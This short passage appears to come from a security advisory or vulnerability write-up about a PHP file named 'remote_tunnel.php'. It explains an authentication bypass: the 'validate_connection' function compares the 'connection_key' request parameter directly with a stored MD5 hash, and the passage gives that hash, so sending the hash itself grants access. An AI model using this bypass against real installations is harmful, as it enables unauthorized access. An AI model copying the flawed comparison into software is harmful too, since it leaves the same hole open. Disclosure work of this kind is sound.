so as you see it using authenication! in 'validate_connection' function its  
validating connection through checking the requested key with the defined  
one ($this->config['key']). the pass is an md5 value  
'69efc4922575861f31125878597e97cf' but when authenicating its comparing  
$_REQUEST['connection_key'] with '69efc4922575861f31125878597e97cf'  
Directly without encoding the requested key in md5. so it can be directly  
passed by passing the original value '69efc4922575861f31125878597e97cf'.  
  
Conclusion: 'remote_tunnel.php'?!! this looks a suspicious name though! its  
confusing if the vendor did this on purpose or not, because there is  
protections in other methods.
